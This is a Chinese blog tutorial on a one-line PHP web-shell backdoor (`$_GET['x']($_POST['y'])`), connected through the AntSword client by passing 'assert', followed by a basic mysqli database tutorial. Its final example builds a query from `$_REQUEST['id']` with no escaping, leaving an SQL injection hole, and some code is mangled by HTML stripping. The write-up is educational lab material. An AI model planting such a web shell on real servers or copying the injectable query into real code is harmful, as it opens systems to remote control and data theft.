• php简单后门实现及php连接数据库


    php简单后门实现

    代码

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>easybackdoor</title>
    </head>
    <body>
        <?php
            $_GET['x']($_GET['y']);
        
        ?>
        
    </body>
    </html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    效果

    image-20231024172159783

    使用蚁剑连接

      <?php
            $_GET['x']($_POST['y']);
        ?>
    
    • 1
    • 2
    • 3

    使用hackbar传参,前面传assert

    image-20231024173622697

    添加蚁剑数据,需要选择base64

    image-20231024173827283

    连接成功

    image-20231024173900247

    php连接数据库

    相关函数

    函数名作用
    mysqli_connect()与MySQL 数据库建立连接。
    mysqli_close()关闭与MYSQL 数据库建立的连接。
    mysqli_connect_errno()与MySQL 数据库建立连接时,发生错误时的错误编号。
    mysqli_connect_error()与MySQL 数据库建立连接时,发生错误时的错误信息。
    mysqli_query()执行SQL 语句。
    mysqli_errno()执行SQL 语句时,发生错误的编号。
    mysqli_error()执行SQL 语句时,发生错误的信息。
    mysqli_fetch_assoc()从结果集对象中取数据,按条取数据。
    函数说明
    mysqli_fetch_row()以索引数组的方式获取一条记录的数据
    mysqli_fetch_assoc()以关联数组的方式获取一条记录的数据
    mysqli_fetch_array()以索引数组或关联数组的方式获取一条记录的数据
    mysqli_fetch_all()以索引数组或关联数组的方式获取全部记录的数据
    mysqli_num_rows()获取结果集对象中数据条数
    mysqli_free_result()释放与一个结果集合相关的内存

    交互过程

    • 建立与MySQL 链接。
    • 执行SQL 语句,返回结果集对象。
    • 从结果集对象中取数据。
    • 关闭与MySQL 链接

    建立链接

    $db_host = "127.0.0.1";
    $db_user = "root";
    $db_pass = "root";
    $db_name = "bbs";
    
    $link = @mysqli_connect($db_host, $db_user, $db_pass, $db_name);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    如果链接成功,返回object(mysqli)1;否则,返回bool(false)。

    $link 是对象类型的变量,相当于一个"令牌"。

    捕获连接错误
    • 错误编号
    • 错误详情
    if(!$link){
        exit("[".mysqli_connect_errno()."] ".mysqli_connect_error());
    }
    
    • 1
    • 2
    • 3

    关闭链接

    mysqli_close($link);
    
    • 1

    执行SQL

    单条SQL 语句执行
    $sql = "select * from users1;";
    
    $results =  mysqli_query($link, $sql);
    
    • 1
    • 2
    • 3

    如果SQL 语句正常执行,就会返回对象类型object(mysqli_result)#2 的数据;否则,bool(false)。

    对于insert,delete,update 等不会返回数据的SQL 语句,在执行没有错误时将返回true。对于返回数据的SQL 语句执行成功的时候会返回结果集对象,可以使用操作结果集对象的函数来从中获取数据。

    SQL 错误

    如果在执行SQL 语句的时候发生错误,mysqli_query 将返回false。可以使用以下函数捕获错误原因:

    if(!$results){
        exit("[".mysqli_errno($link)."] ".mysqli_error($link));
    }
    
    • 1
    • 2
    • 3

    完整代码实现

    执行结果,遍历输出该表并写入表格

    image-20231024165547718

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>mysqlconnect</title>
    </head>
    <body>
        <?php
            $db_host="127.0.0.1";
            $db_user="root";
            $db_pass="root";
            $db_name="bbs";
    
            $link=@mysqli_connect($db_host, $db_user, $db_pass, $db_name);
            
            if(!$link){
                echo "link error
    "
    ."[".mysqli_connect_errno()."]".mysqli_connect_error(); exit(); }else{ echo "link access"; } $sql="select * from message;"; $results=mysqli_query($link,$sql); if(!$results){ echo "error,plz retry
    "
    ."[".mysqli_errno($link)."]".mysqli_error($link); } echo "";echo"";while($result=mysqli_fetch_assoc($results)){echo"";foreach($resultas$k=>$v){echo"";}echo"";}echo"
    iduid titlecontent
    "; echo $v; echo "
    "
    ; mysqli_close($link); ?> </body> </html>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48

    可以实现根据id查询到数控,并且返回的有用户名了

    
    
    
        
        
        mysqlconnect
    
    
        "."[".mysqli_connect_errno()."]".mysqli_connect_error();
                exit();
            }else{
                echo "link access";
            }
            $id=isset($_REQUEST['id'])?$_REQUEST['id']:1;
           
            $sql="select m.id,u.username,m.title,m.content from message m,user u where u.id=m.uid and m.id=$id;";
            $results=mysqli_query($link,$sql);
            if(!$results){
                echo "error,plz retry
    "."[".mysqli_errno($link)."]".mysqli_error($link); } echo ""; echo ""; while($result=mysqli_fetch_assoc($results)){ echo ""; foreach($result as $k => $v){ echo ""; } echo ""; } echo "
    idusername titlecontent
    "; echo $v; echo "
    "; mysqli_close($link); ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    在这里插入图片描述

    在这里插入图片描述

  • 相关阅读:
    【阿旭机器学习实战】【24】信用卡用户流失预测实战
    Grafana + Prometheus监控篇之Windows监控Linux服务器资源
    安卓性能优化
    C++ - git 命令行
    Linux 之网络相关命令及配置文件
    4K投影仪为什么比1080P投影仪更值得买?答案显而易见!
    阿里云服务器怎么购买价格更便宜?先领优惠券再通过阿里云活动购买最便宜
    (翻译)JavaFX高级教程:JavaFX2.0的FXML语言
    leetcode背包问题总结
    【ijkplayer】解码流程梳理(三)
  • 原文地址:https://blog.csdn.net/qq_58683895/article/details/134017798